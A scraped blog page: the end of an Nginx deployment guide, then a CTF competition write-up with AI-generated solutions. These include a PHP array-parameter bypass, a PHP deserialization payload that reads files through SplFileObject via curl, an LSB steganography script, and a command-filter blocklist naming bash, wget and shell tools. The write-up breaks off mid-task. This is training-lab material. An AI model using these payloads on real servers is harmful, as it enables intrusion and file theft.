systemctl status nginx --no-pager echo -e \u0026#34;\\n磁盘使用:\u0026#34; df -h echo -e \u0026#34;\\n内存使用:\u0026#34; free -h echo -e \u0026#34;\\n最近访问日志:\u0026#34; sudo tail -20 /var/log/nginx/access.log 12. 常用命令总结 # 查看 Nginx 状态 sudo systemctl status nginx # 重启 Nginx sudo systemctl restart nginx # 重载配置 sudo systemctl reload nginx # 查看 Nginx 配置语法 sudo nginx -t # 查看网站访问 sudo tail -f /var/log/nginx/access.log 13. 备份脚本 #!/bin/bash # backup.sh DATE=$(date +%Y%m%d_%H%M%S) BACKUP_DIR=\u0026#34;/home/username/backups\u0026#34; SOURCE_DIR=\u0026#34;/var/www/myblog\u0026#34; # 创建备份目录 mkdir -p $BACKUP_DIR # 备份网站文件 tar -czf $BACKUP_DIR/myblog_$DATE.tar.gz $SOURCE_DIR # 备份数据库（如果有） # mysqldump -u username -p dbname \u0026gt; $BACKUP_DIR/db_$DATE.sql # 保留最近7天备份 find $BACKUP_DIR -name \u0026#34;myblog_*.tar.gz\u0026#34; -mtime +7 -delete echo \u0026#34;备份完成: $BACKUP_DIR/myblog_$DATE.tar.gz\u0026#34; 14. 问题排查 常见问题解决： 403 Forbidden 错误 # 检查文件权限 sudo chown -R www-data:www-data /var/www/myblog sudo chmod -R 755 /var/www/myblog 502 Bad Gateway 错误 # 检查端口占用 sudo netstat -tulpn | grep :80 sudo systemctl restart nginx 内存不足 # 增加 swap sudo fallocate -l 2G /swapfile sudo chmod 600 /swapfile sudo mkswap /swapfile sudo swapon /swapfile echo \u0026#39;/swapfile none swap sw 0 0\u0026#39; | sudo tee -a /etc/fstab 部署流程总结： ✅ 服务器：Ubuntu 24.04 LTS ✅ Web服务器：Nginx ✅ 运行环境：Node.js (nvm) ✅ 项目目录：/var/www/myblog ✅ SSL证书：Let\u0026rsquo;s Encrypt ✅ 自动化：Git hooks ✅ 监控：日志和 systemd ","date":"2025-12-13T11:37:55Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251213113814909.png","permalink":"/post/astro%E5%8D%9A%E5%AE%A2%E9%83%A8%E7%BD%B2%E5%9C%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E5%B9%B6%E8%AE%BE%E7%BD%AE%E8%87%AA%E5%8A%A8hook/","title":"Astro博客部署在服务器上并设置自动hook"},{"content":" 赛后总结 时间太紧张了，一开始想着理论题能保底，狂刷了180到理论题，后来做实操题的时候发现实操体简单的令人发指，早知道就先做实操题了。图片隐写和木马分析卡了，图片隐写是因为没有找到html的特定工具，我真是太讨厌这些需要特定工具的图片题目了。木马分析没找到helper。题目5本来做出来了，时间到了没交上flag，一个半小时时间还是比较紧张。\n关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。全套题目包括web题目已根据回忆用AI复现了模拟靶场，一键docker启动，关注公众号“泷羽Sec-静安“，后台回复”第二届全国网络安全行业职业技能大赛初赛“即可领取。\n题目 1 任务1: 源码审计\n任务描述： 这是一个风景欣赏网站，但其源码中隐藏了不为人知的秘密。 提交要求： 进行简单的代码审计，绕过逻辑判断获取flag并提交。\n收起靶机信息 **靶机地址：**http://171.111.222.4:11002\n用户名：-\n密码：-\n1\u0026lt;?php 2highlight_file(__FILE__); 3include(\u0026#34;flag.php\u0026#34;); 4header(\u0026#34;Content-type: text/html; charset=utf-8\u0026#34;); 5$num = $_GET[\u0026#39;num\u0026#39;]; 6$cmd = $_GET[\u0026#39;cmd\u0026#39;]; 7if(preg_match(\u0026#34;/[0-9]/\u0026#34;, $num)) 8{ 9 die(\u0026#34;no!\u0026#34;); 10} 11if(intval($num)) 12{ 13 14 echo \u0026#34;give you flag: \u0026#34;.$flag; 15} 丢AI直接分析\n核心思路：让 $num 不是字符串，而是数组，这样就能同时绕过两个 if，拿到 flag ✅\n先分析一下代码逻辑：\n1$num = $_GET[\u0026#39;num\u0026#39;]; 2$cmd = $_GET[\u0026#39;cmd\u0026#39;]; 3 4if(preg_match(\u0026#34;/[0-9]/\u0026#34;, $num)) 5{ 6 die(\u0026#34;no!\u0026#34;); 7} 8 9if(intval($num)) 10{ 11 echo \u0026#34;give you flag: \u0026#34;.$flag; 12} 想拿到 flag，必须让：\npreg_match(\u0026quot;/[0-9]/\u0026quot;, $num) 结果是 false（或报错返回 0/false），不能 die(\u0026quot;no!\u0026quot;)\nintval($num) 的结果为 非 0，这样才能进入第二个 if\n同时题目还限制：$num 中不能出现 0–9 这些字符。\n绕过关键点：让 $num 变成数组 PHP 里，如果你这样传参数：\n1?num[]=abc 那么在 PHP 里：\n1$num == array(0 =\u0026gt; \u0026#34;abc\u0026#34;); // 也就是 $num 是一个数组 接下来看看两处判断在数组情况下的行为：\n1. preg_match(\u0026quot;/[0-9]/\u0026quot;, $num) preg_match 第二个参数必须是字符串，如果你给它传数组，会怎样？\n会产生一个 warning：preg_match(): Argument #2 ($subject) must be of type string, array given\n返回值是 false（0）\n也就是说：\n1if (preg_match(\u0026#34;/[0-9]/\u0026#34;, $num)) { 2 die(\u0026#34;no!\u0026#34;); 3} 在 $num 是数组时，这个 if 条件为 false，不会 die(\u0026quot;no!\u0026quot;)，第一关绕过 ✅\n（注意：即便数组里面的元素是 \u0026quot;1\u0026quot;, \u0026quot;2\u0026quot; 等带数字，preg_match 根本不会去遍历数组内容，它直接因为类型不对就失败了）\n2. if(intval($num)) 当你对数组做 intval() / (int) 强制转换时，PHP 的行为是：\n非空数组 → 转为 int 1\n空数组 array() → 转为 int 0\n也就是说：\n1intval(array(\u0026#39;abc\u0026#39;)) === 1; 所以：\n1if (intval($num)) { 2 echo \u0026#34;give you flag: \u0026#34;.$flag; 3} 当 $num 是一个 非空数组 时，就会进入 if，输出 flag ✅\n最终利用方法（payload） 直接构造请求，让 num 是一个非空数组即可，比如：\nGET 方式访问： 1http://your-target.com/index.php?num[]=abc abc 里面爱怎么写都行，甚至可以带数字，因为 preg_match 根本不会对数组内部做匹配：\n1http://your-target.com/index.php?num[]=123 在这两种情况下，执行流程是：\n$num = $_GET['num']; → $num 是数组\npreg_match(\u0026quot;/[0-9]/\u0026quot;, $num) 报 warning，返回 0 → 不会 die\nintval($num) → 1（非 0）→ 条件为 true\n输出：\n1give you flag: flag{...} 一句话总结 用 num[]= 让 $num 变成数组，利用 preg_match 对数组报错返回 false + intval(非空数组) == 1 的特性，轻松绕过两层判断拿 flag。\n你只要在题目环境里访问类似：\n1/index.php?num[]=a 就能看到 flag 了 🎯\nSuccess flag{d9729feb74992cc3482b350163a1a010}\n题目 2 任务2: 编码还原\n任务描述： 附件压缩包中文件包含了一串字符，请分析其编码内容。 提交要求： 还原原始明文flag并提交。 附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/b2.zip cyberchef一把梭\n1LJWXQ2C2GNZTCT2UM54U2MSNGRGWU3DJJZLU2NK2KRHGQTSUNBVE2VCNGRHGUVL2LJKGQ22NI5NG2WSYGA6Q==== 2ZmxhZ3s1OTgyM2M4MjliNWM5ZTNhNThjMTM4NjUzZThkMGZmZX0= Success flag{59823c829b5c9e3a58c138653e8d0ffe}\n题目 3 任务3: POP链构造\n任务描述： 目标站点使用了SPL进行开发。 提交要求： 利用反序列化漏洞构造POP链，结合SPL特性获取服务器权限或读取flag并提交。\n收起靶机信息 **靶机地址：**http://171.111.219.56:11013\n用户名：-\n密码：-\n1\u0026lt;?php 2error_reporting(0); 3highlight_file(__FILE__); 4 5class A{ 6 public $username; 7 public $password; 8 public function __construct() 9 { 10 $this-\u0026gt;username = \u0026#34;happy\u0026#34;; 11 $this-\u0026gt;password = \u0026#34;super\u0026#34;; 12 $context = new $this-\u0026gt;username ($this-\u0026gt;password); 13 var_dump($context); 14 foreach($context as $f){ 15 echo $f; 16 } 17 } 18 19 public function __wakeup() 20 { 21 $con = new $this-\u0026gt;username ($this-\u0026gt;password); 22 foreach($con as $f){ 23 echo $f; 24 } 25 } 26 27} 28class B{ 29 var $password; 30 public function __construct($user) 31 { 32 $this-\u0026gt;password = $user; 33 echo (\u0026#34;hi \u0026#34;.$this-\u0026gt;password); 34 } 35}if(isset($_POST[\u0026#39;un\u0026#39;])){ 36 unserialize($_POST[\u0026#39;un\u0026#39;]); 37} 38else{ 39 $demo=new A; 40 41} 还是直接丢GPT\n这题就是典型的 unserialize 链 + 反序列化利用 SplFileObject 读文件 😊\n先一起把代码逻辑捋一下（去掉无关的）：\n1error_reporting(0); 2highlight_file(__FILE__); 3 4class A{ 5 public $username; 6 public $password; 7 public function __construct() 8 { 9 $this-\u0026gt;username = \u0026#34;happy\u0026#34;; 10 $this-\u0026gt;password = \u0026#34;super\u0026#34;; 11 $context = new $this-\u0026gt;username ($this-\u0026gt;password); 12 var_dump($context); 13 foreach($context as $f){ 14 echo $f; 15 } 16 } 17 18 public function __wakeup() 19 { 20 $con = new $this-\u0026gt;username ($this-\u0026gt;password); 21 foreach($con as $f){ 22 echo $f; 23 } 24 } 25 26} 27class B{ 28 var $password; 29 public function __construct($user) 30 { 31 $this-\u0026gt;password = $user; 32 echo (\u0026#34;hi \u0026#34;.$this-\u0026gt;password); 33 } 34}if(isset($_POST[\u0026#39;un\u0026#39;])){ 35 unserialize($_POST[\u0026#39;un\u0026#39;]); 36} 37else{ 38 $demo=new A; 39} 关键点：\n有个 unserialize($_POST['un']);，完全没做过滤，可控。\n只要我们反序列化一个 A 类对象，就会自动触发 A::__wakeup()。\n__wakeup() 里干了这件事：\n1$con = new $this-\u0026gt;username ($this-\u0026gt;password); 2foreach($con as $f){ 3 echo $f; 4} 也就是：\n用 $this-\u0026gt;username 当类名，$this-\u0026gt;password 当构造参数，去 new 一个对象；\n然后对这个对象 foreach，把每一项 echo 出来。\n⚠️ 构造函数 __construct 在反序列化时 不会 自动触发，触发的是 __wakeup，所以 我们可以完全控制 $username 和 $password，而不会被构造函数重置成 \u0026quot;happy\u0026quot; / \u0026quot;super\u0026quot;。\n思路：用 SplFileObject 读 flag 文件 PHP 里有个内置类：SplFileObject，构造方式是：\n1new SplFileObject(\u0026#34;filename\u0026#34;); 它是 可遍历的，foreach (new SplFileObject(\u0026quot;xxx\u0026quot;) as $line) 会一行一行遍历文件内容，每个 $line 就是文件的一行。\n非常符合我们想要的效果：\n让 $username = \u0026quot;SplFileObject\u0026quot;，$password = \u0026quot;flag.php\u0026quot;（或者 flag 文件的真实名字）\n然后在 __wakeup() 中：\n1$con = new SplFileObject(\u0026#34;flag.php\u0026#34;); 2foreach ($con as $f) { 3 echo $f; // 逐行输出 flag.php 的内容 4} 💥 获取 flag。\n构造恶意序列化数据 要自己构造一个 A 类的序列化对象，带上我们想要的属性：\n1O:1:\u0026#34;A\u0026#34;:2:{ 2 s:8:\u0026#34;username\u0026#34;;s:13:\u0026#34;SplFileObject\u0026#34;; 3 s:8:\u0026#34;password\u0026#34;;s:8:\u0026#34;flag.php\u0026#34;; 4} 注意几个长度：\n类名 A → \u0026quot;A\u0026quot; 长度是 1 → O:1:\u0026quot;A\u0026quot;:...\nusername 这个单词 8 个字符 → s:8:\u0026quot;username\u0026quot;\npassword 同样 8 个字符 → s:8:\u0026quot;password\u0026quot;\n\u0026quot;SplFileObject\u0026quot;\n计数：S p l F i l e O b j e c t → 13 个字符 → s:13:\u0026quot;SplFileObject\u0026quot;\n\u0026quot;flag.php\u0026quot; → f(1) l(2) a(3) g(4) .(5) p(6) h(7) p(8) → 8 个字符 → s:8:\u0026quot;flag.php\u0026quot;\n所以最终 payload 是：\n1O:1:\u0026#34;A\u0026#34;:2:{s:8:\u0026#34;username\u0026#34;;s:13:\u0026#34;SplFileObject\u0026#34;;s:8:\u0026#34;password\u0026#34;;s:8:\u0026#34;flag.php\u0026#34;;} 实际利用方式示例 直接 POST 过去即可，例如用 curl：\n1curl -X POST \\ 2 -d \u0026#39;un=O:1:\u0026#34;A\u0026#34;:2:{s:8:\u0026#34;username\u0026#34;;s:13:\u0026#34;SplFileObject\u0026#34;;s:8:\u0026#34;password\u0026#34;;s:8:\u0026#34;flag.php\u0026#34;;}\u0026#39; \\ 3 http://your-target.com/index.php 如果题目环境中 flag 文件名不是 flag.php，而是 flag、/flag、/var/www/html/flag 等，就把 \u0026quot;flag.php\u0026quot; 替换掉即可。\n如果不知道 flag 文件名怎么办？ 还可以用目录遍历类先“探路”：\n第一步：列目录名\n用 DirectoryIterator：\n1username = \u0026#34;DirectoryIterator\u0026#34;; 2password = \u0026#34;.\u0026#34;; 构造：\n1O:1:\u0026#34;A\u0026#34;:2:{s:8:\u0026#34;username\u0026#34;;s:17:\u0026#34;DirectoryIterator\u0026#34;;s:8:\u0026#34;password\u0026#34;;s:1:\u0026#34;.\u0026#34;;} 这样在 __wakeup() 中：\n1$con = new DirectoryIterator(\u0026#34;.\u0026#34;); 2foreach($con as $f){ 3 echo $f; // 会打印文件名（DirectoryIterator 有 __toString） 4} 你可以从输出中找到类似 flag.php / flag_xxx 的文件名。\n第二步：再用 SplFileObject 读具体文件\n换成前面的 SplFileObject + 真正 flag 文件名 再打一发。\n总结一下利用链 入口： unserialize($_POST['un']);\n魔法方法： A::__wakeup() 自动执行\n可控点： 我们可控 A 对象的 username 和 password\n利用点：\n设置 $username = \u0026quot;SplFileObject\u0026quot;\n设置 $password = \u0026quot;flag.php\u0026quot;（或者真实 flag 文件）\n通过 foreach(new SplFileObject(...)) echo $f; 逐行读出文件内容\n最终 payload：\n1un=O:1:\u0026#34;A\u0026#34;:2:{s:8:\u0026#34;username\u0026#34;;s:13:\u0026#34;SplFileObject\u0026#34;;s:8:\u0026#34;password\u0026#34;;s:8:\u0026#34;flag.php\u0026#34;;} 发上去，页面直接把 flag 打出来 👏\n如果你贴一下题目目录结构或提示 flag 路径，我可以帮你把 payload 精确到具体文件名。\n题目 4 任务4: 图片隐写\n任务描述： 这张猫咪图片看起来很普通，但似乎文件尾部藏有东西，或者图片内容经过了特殊处理。 提交要求： 使用隐写工具分析图片，提取隐藏的flag并提交。 附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/html.png\n参考 https://mp.weixin.qq.com/s/**d63Jg5rXuQfDJjqEhtIPbw\nhtml.png的文件名暗示了解出的信息是 HTML实体（Hex编码字符）\n这是 stylesuxx.github.io/steganography 这个工具的典型输出特征。\nhttps://stylesuxx.github.io/steganography/\n1\u0026amp;#x66;\u0026amp;#x6c;\u0026amp;#x61;\u0026amp;#x67;\u0026amp;#x7b;\u0026amp;#x68;\u0026amp;#x30;\u0026amp;#x77;\u0026amp;#x5f;\u0026amp;#x34;\u0026amp;#x62;\u0026amp;#x6f;\u0026amp;#x75;\u0026amp;#x54;\u0026amp;#x5f;\u0026amp;#x65;\u0026amp;#x6e;\u0026amp;#x63;\u0026amp;#x30;\u0026amp;#x64;\u0026amp;#x65;\u0026amp;#x5f;\u0026amp;#x34;\u0026amp;#x6e;\u0026amp;#x64;\u0026amp;#x5f;\u0026amp;#x70;\u0026amp;#x6e;\u0026amp;#x47;\u0026amp;#x7d; Success flag{h0w_4bouT_enc0de_4nd_pnG}\n想在本地复现 stylesuxx.github.io/steganography 那样的 LSB 解码（并把 \u0026amp;#x..; 等实体转回明文），下面给你一个「尽可能稳健」的 Python 脚本。它会批量尝试多种常见的 LSB 配置（通道组合、使用的 LSB 位数、位面等），并把每种尝试的输出保存为文件，方便你在本地离线排查是哪一种配置能还原出可读文本。\n脚本特点：\n只依赖 Pillow（PIL）和标准库 html；\n尝试通道：R、G、B、A、以及混合（RGB 同时读取）；\n尝试每像素使用 1~4 个最低有效位（LSB）；\n尝试位面（bitplane）0~3（0=LSB，1=次LSB…）；\n对每种组合，按两种字节构造顺序（MSB-first / LSB-first）拼字节；\n自动做 html.unescape()，并输出可打印字符比例用于判断是否为合理结果；\n将每种尝试的原文候选保存到 results/ 目录，文件名注明配置，便于比对。\n把下面脚本保存为 lsb_bruteforce.py，安装依赖并运行即可。\n1# lsb_bruteforce.py 2# Usage: 3# pip install pillow 4# python lsb_bruteforce.py html.png 5# 6# 输出会写入 ./results/ 目录，带每种尝试的配置。 7 8import sys 9import os 10from PIL import Image 11import html 12import string 13 14def ensure_dir(d): 15 if not os.path.exists(d): 16 os.makedirs(d) 17 18def get_pixels(img): 19 # Return pixel sequence as list of tuples 20 px = list(img.getdata()) 21 return px 22 23def extract_bits_from_channel_value(val, bitplane, nbits): 24 \u0026#34;\u0026#34;\u0026#34; 25 Extract nbits starting at bitplane (0 = LSB) from value. 26 Return list of bits as \u0026#39;0\u0026#39;/\u0026#39;1\u0026#39; in order from most-significant-of-extracted to least. 27 e.g. val=0bABCDEFGH, bitplane=0, nbits=2 -\u0026gt; extract bits H (bit0) and G (bit1) 28 We return them in order [G,H] if we later want MSB-first grouping, but we\u0026#39;ll control ordering later. 29 \u0026#34;\u0026#34;\u0026#34; 30 bits = [] 31 for i in range(nbits): 32 bpos = bitplane + i 33 bits.append( (val \u0026gt;\u0026gt; bpos) \u0026amp; 1 ) 34 # Return as strings 35 return [str(b) for b in bits] 36 37def build_byte_from_bits(bit_list, msb_first=True): 38 \u0026#34;\u0026#34;\u0026#34;Take up to 8 bits (strings \u0026#39;0\u0026#39;/\u0026#39;1\u0026#39;) and return an int byte. 39 If fewer than 8 bits at end, pad with zeros on the right (least significant side).\u0026#34;\u0026#34;\u0026#34; 40 if len(bit_list) \u0026lt; 8: 41 # pad with \u0026#39;0\u0026#39; to full byte 42 bit_list = bit_list + [\u0026#39;0\u0026#39;] * (8 - len(bit_list)) 43 if msb_first: 44 s = \u0026#39;\u0026#39;.join(bit_list[:8]) 45 return int(s, 2) 46 else: 47 # LSB-first ordering: first bit is least significant 48 s = \u0026#39;\u0026#39;.join(reversed(bit_list[:8])) 49 return int(s, 2) 50 51def bits_to_bytes_and_text(bit_stream, msb_first=True, max_chars=200000): 52 # group into bytes and try decode as utf-8 (ignore errors) 53 bytes_arr = bytearray() 54 for i in range(0, len(bit_stream), 8): 55 b = build_byte_from_bits(bit_stream[i:i+8], msb_first=msb_first) 56 bytes_arr.append(b) 57 if len(bytes_arr) \u0026gt;= max_chars: 58 break 59 try: 60 text = bytes_arr.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;replace\u0026#39;) 61 except Exception: 62 text = \u0026#39;\u0026#39;.join(chr(b) for b in bytes_arr) 63 return bytes_arr, text 64 65def printable_ratio(s): 66 if not s: 67 return 0.0 68 printable = sum(1 for ch in s if ch in string.printable) 69 return printable / len(s) 70 71def try_configs(img_path, outdir=\u0026#39;results\u0026#39;): 72 img = Image.open(img_path) 73 # if image has palette convert to RGBA/RGB 74 mode = img.mode 75 if mode not in (\u0026#39;RGB\u0026#39;, \u0026#39;RGBA\u0026#39;): 76 if \u0026#39;A\u0026#39; in mode: 77 img = img.convert(\u0026#39;RGBA\u0026#39;) 78 else: 79 img = img.convert(\u0026#39;RGB\u0026#39;) 80 81 px = get_pixels(img) 82 width, height = img.size 83 channels_map = { 84 \u0026#39;R\u0026#39;: 0, \u0026#39;G\u0026#39;: 1, \u0026#39;B\u0026#39;: 2, \u0026#39;A\u0026#39;: 3 85 } 86 channel_options = [ 87 (\u0026#39;R\u0026#39;, [\u0026#39;R\u0026#39;]), 88 (\u0026#39;G\u0026#39;, [\u0026#39;G\u0026#39;]), 89 (\u0026#39;B\u0026#39;, [\u0026#39;B\u0026#39;]), 90 (\u0026#39;A\u0026#39;, [\u0026#39;A\u0026#39;]) if img.mode == \u0026#39;RGBA\u0026#39; else None, 91 (\u0026#39;RG\u0026#39;, [\u0026#39;R\u0026#39;,\u0026#39;G\u0026#39;]), 92 (\u0026#39;RB\u0026#39;, [\u0026#39;R\u0026#39;,\u0026#39;B\u0026#39;]), 93 (\u0026#39;GB\u0026#39;, [\u0026#39;G\u0026#39;,\u0026#39;B\u0026#39;]), 94 (\u0026#39;RGB\u0026#39;, [\u0026#39;R\u0026#39;,\u0026#39;G\u0026#39;,\u0026#39;B\u0026#39;]), 95 ] 96 channel_options = [c for c in channel_options if c is not None] 97 98 ensure_dir(outdir) 99 100 total_tries = 0 101 for ch_name, ch_list in channel_options: 102 for bitplane in range(0, 4): # which bitplane to start (0 = LSB) 103 for nbits in range(1, 5): # how many LSBs per selected channel (1..4) 104 # Build bit stream 105 bit_stream = [] 106 for p in px: 107 # p might be (r,g,b) or (r,g,b,a) 108 for ch in ch_list: 109 idx = channels_map[ch] 110 if idx \u0026gt;= len(p): 111 continue 112 val = p[idx] 113 bits = extract_bits_from_channel_value(val, bitplane, nbits) 114 # We append bits in order of extraction (lower bitplane first) 115 # That yields: [bit_at(bitplane), bit_at(bitplane+1), ...] 116 # The grouping later will try both MSB-first and LSB-first. 117 bit_stream.extend(bits) 118 119 # try two byte bit-orderings: msb_first True \u0026amp; False 120 for msb_first in (True, False): 121 total_tries += 1 122 b_arr, txt = bits_to_bytes_and_text(bit_stream, msb_first=msb_first) 123 # post-process: unescape html entities 124 unescaped = html.unescape(txt) 125 pr = printable_ratio(unescaped) 126 # heuristics filename 127 fname = f\u0026#34;{outdir}/out_{ch_name}_bp{bitplane}_nb{nbits}_{\u0026#39;MSB\u0026#39; if msb_first else \u0026#39;LSB\u0026#39;}.txt\u0026#34; 128 with open(fname, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;, errors=\u0026#39;replace\u0026#39;) as f: 129 f.write(\u0026#34;=== Metadata ===\\n\u0026#34;) 130 f.write(f\u0026#34;image: {img_path}\\nchannels: {ch_name}\\nbitplane(start): {bitplane}\\nnbits_per_channel: {nbits}\\nbyte_bit_order_msb_first: {msb_first}\\n\\n\u0026#34;) 131 f.write(\u0026#34;=== Raw decode (utf-8 replace) ===\\n\u0026#34;) 132 f.write(txt) 133 f.write(\u0026#34;\\n\\n=== html.unescape ===\\n\u0026#34;) 134 f.write(unescaped) 135 f.write(\u0026#34;\\n\\n=== Stats ===\\n\u0026#34;) 136 f.write(f\u0026#34;length chars: {len(unescaped)}\\nprintable ratio: {pr:.4f}\\n\u0026#34;) 137 # print quick summary to console for convenience 138 summary = f\u0026#34;Try {total_tries}: ch={ch_name} bp={bitplane} nb={nbits} msb={msb_first} printable_ratio={pr:.3f} -\u0026gt; {fname}\u0026#34; 139 print(summary) 140 print(f\u0026#34;Done. total tries: {total_tries}. Results in: {outdir}/\u0026#34;) 141 142if __name__ == \u0026#34;__main__\u0026#34;: 143 if len(sys.argv) \u0026lt; 2: 144 print(\u0026#34;Usage: python lsb_bruteforce.py path/to/html.png\u0026#34;) 145 sys.exit(1) 146 img_path = sys.argv[1] 147 try: 148 try_configs(img_path, outdir=\u0026#39;results\u0026#39;) 149 except Exception as e: 150 print(\u0026#34;Error:\u0026#34;, e) 151 raise 如何判断哪个结果是“正确的” 打开 results/ 目录下的 .txt 文件，查看 === html.unescape === 部分。\n正确的结果通常有高可打印字符比例（printable_ratio 接近 0.9+），并且有明显可读的文本，例如 \u0026amp;#x..; 已被转为 flag{...} 或 URL/ASCII 文本。\n如果你发现输出仍然是 HTML 实体（\u0026amp;#x..;），再把那段实体文本用 Python 的 html.unescape()（脚本已经做过）或在线 HTML entity decode 转换一次即可。\n可能的进一步步骤（如果上面没解出可读文本） 有些隐写工具把位顺序、通道顺序或字节组装方式弄得更复杂；如果上述尝试都没结果，可以：\n增加 bitplane 到更大值（比如 0..7） — 但通常 0..3 就够了；\n尝试不同的像素遍历顺序（现在是左到右、上到下）；可尝试列优先或分块读取；\n如果结果看起来像 Base64（只含字母数字+/=），做一次 base64 解码；\n如果结果像二进制加密（无高可打印率），可能还有 XOR/AES 等二次加密，需要额外分析。\n很好，你已经跑出 256 个候选结果 — 现在的任务是快速筛出最可能有用的几个文件。下面我先给你一套清晰的判别规则（为什么选），然后给你一个可直接在本地运行的 Python 脚本来自动打分并列出最有希望的前 N 个文件，以及若干简单的命令行快速检查方法。照着做 1–2 分钟就能把 256 个结果缩到 5 个以内。\n一、判断“有用”的直观信号（优先级从高到低） 可打印字符比例高（printable ratio 高） —— 接近 0.8~1.0 极有可能是可读文本。\n包含 HTML 实体 \u0026amp;#x 串（说明提取出的是实体编码，后续 html.unescape() 会还原） —— 你先前提到就是这种情形。\n包含明显关键字：flag、FLAG、CTF、{、}、http、base64、BEGIN/--BEGIN 等。\n看起来像 Base64（只有 A-Za-z0-9+/= 且长度较长） —— 可能还需 base64 解码。\n低熵但可打印（长序列的英文单词/句子） —— 很可能是最终明文。\n随机乱码、多不可打印字符/非 ASCII —— 通常无用（排除）。\n二、如果你想更快（命令行小技巧） 在 Linux / macOS / WSL / Git Bash 下：\n直接查找包含 flag 的文件： 1grep -R -i \u0026#34;flag\u0026#34; results/ -n 找出包含 HTML 实体的文件： 1grep -R \u0026#34;\u0026amp;#x\u0026#34; results/ -n 列出含高 printable_ratio 的（假设你没有用脚本产生 ratio，但可以看文件大小或直接 head）： 1# show first 200 chars of each file (quick glance) 2for f in results/*.txt; do echo \u0026#34;==== $f ====\u0026#34;; head -c 200 \u0026#34;$f\u0026#34;; echo; echo; done 在 Windows PowerShell：\n1Select-String -Path .\\results\\*.txt -Pattern \u0026#34;flag\u0026#34;,\u0026#34;\u0026amp;#x\u0026#34; -CaseSensitive:$false 三、对 html.unescape() 的进一步处理建议 如果文件内容是 \u0026amp;#x..; 实体 —— 直接用脚本或 html.unescape()（你的 earlier 脚本已做）。\n如果解码后得到看起来像 aGVsbG8...（Base64），再做 base64.b64decode()。\n如果得到奇怪二进制或看起来像随机文本，可能还有 XOR/AES，需要进一步分析（但先不要到那一步，通常不会）。\n你可以把 rank_results.py 的输出 top 5 的文件名贴上来，或把其中第1个文件的 === html.unescape === 部分直接粘贴，我来替你把那段进一步还原（HTML 解码 -\u0026gt; Base64 解码 -\u0026gt; 关键词检测 -\u0026gt; 可能的简单 XOR 检查），并给出明确下一步操作。\n要不要我现在帮你跑这一轮自动筛选（你把 results/ 打包上传或把 top few 文件内容贴上来）？如果你不想上传，我也会一步步指导你本地运行上面的脚本并解读输出。Python：\n1import html 2encoded = \u0026#34;\u0026amp;#x66;\u0026amp;#x6c;\u0026amp;#x61;\u0026amp;#x67;\u0026amp;#x7b;\u0026amp;#x68;\u0026amp;#x30;\u0026amp;#x77;\u0026amp;#x5f;\u0026amp;#x34;\u0026amp;#x62;\u0026amp;#x6f;\u0026amp;#x75;\u0026amp;#x54;\u0026amp;#x5f;\u0026amp;#x65;\u0026amp;#x6e;\u0026amp;#x63;\u0026amp;#x30;\u0026amp;#x64;\u0026amp;#x65;\u0026amp;#x5f;\u0026amp;#x34;\u0026amp;#x6e;\u0026amp;#x64;\u0026amp;#x5f;\u0026amp;#x70;\u0026amp;#x6e;\u0026amp;#x47;\u0026amp;#x7d;\u0026#34; 3print(html.unescape(encoded)) 在线工具：\n搜索关键词：HTML Entity Decode\n任选一个贴进去即可\n题目 5 任务5: 逻辑绕过\n任务描述： 目标系统存在一处逻辑较为复杂的代码漏洞。 提交要求： 审计代码，构造特定的请求参数绕过安全检查，读取flag并提交。\n收起靶机信息 靶机地址： http://203.3.80.99:11006\n用户名：-\n密码：-\n1\u0026lt;?php 2 3if (isset($_GET[\u0026#39;password\u0026#39;]) || isset($_GET[\u0026#39;cmd\u0026#39;])) { 4 5 if (ereg(\u0026#34;^[a-zA-Z0-9]+$\u0026#34;, $_GET[\u0026#39;password\u0026#39;]) === FALSE) { 6 7 echo \u0026#39;\u0026lt;p\u0026gt;You password must be alphanumeric\u0026lt;/p\u0026gt;\u0026#39;; 8 9 } else if (strlen($_GET[\u0026#39;password\u0026#39;]) \u0026lt; 8 \u0026amp;\u0026amp; $_GET[\u0026#39;password\u0026#39;] \u0026gt; 9999999) { 10 11 if (strpos($_GET[\u0026#39;password\u0026#39;], \u0026#39;*-*\u0026#39;) !== FALSE) { 12 13 $cmd = $_GET[\u0026#39;cmd\u0026#39;]; 14 15 if (preg_match( 16 \u0026#34;/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\u0026#39;|\\\u0026#34;|`|;|,|\\*|\\?|\\\\|\\\\\\\\|\\n|\\t|\\r|\\xA0|\\{|\\}|\\(|\\)|\\\u0026amp;[^\\d]|@|\\||\\\\$|\\[|\\]|{|}|\\(|\\)|-|\u0026lt;|\u0026gt;/i\u0026#34;, 17 $cmd 18 )) { 19 20 echo(\u0026#34;forbid ~\u0026#34;); 21 echo \u0026#34;\u0026lt;br\u0026gt;\u0026#34;; 22 23 } else { 24 25 if ((string)$_POST[\u0026#39;a\u0026#39;] !== (string)$_POST[\u0026#39;b\u0026#39;] \u0026amp;\u0026amp; 26 md5($_POST[\u0026#39;a\u0026#39;]) === md5($_POST[\u0026#39;b\u0026#39;])) { 27 28 echo `$cmd`; 29 30 } else { 31 echo (\u0026#34;md5 is funny ~\u0026#34;); 32 } 33 } 34 35 } else { 36 echo \u0026#39;\u0026lt;p\u0026gt;*-* have not been found\u0026lt;/p\u0026gt;\u0026#39;; 37 } 38 } else { 39 echo \u0026#39;\u0026lt;p\u0026gt;Invalid password\u0026lt;/p\u0026gt;\u0026#39;; 40 } 41} 42highlight_file(__FILE__); 43?\u0026gt; 我来帮你分析这段PHP代码的逻辑漏洞。\n代码逻辑分析 这段代码有多层检查：\n第一层检查：ereg (\u0026quot;^[a-zA-Z0-9]+$\u0026quot;, $_GET['password']) - 密码必须是字母数字 第二层检查：strlen($_GET['password']) \u0026lt; 8 \u0026amp;\u0026amp; $_GET['password'] \u0026gt; 9999999 - 这里有逻辑漏洞！ 第三层检查：strpos ($_GET['password'], '*-*') !== FALSE - 密码必须包含 *-* 第四层检查：preg_match 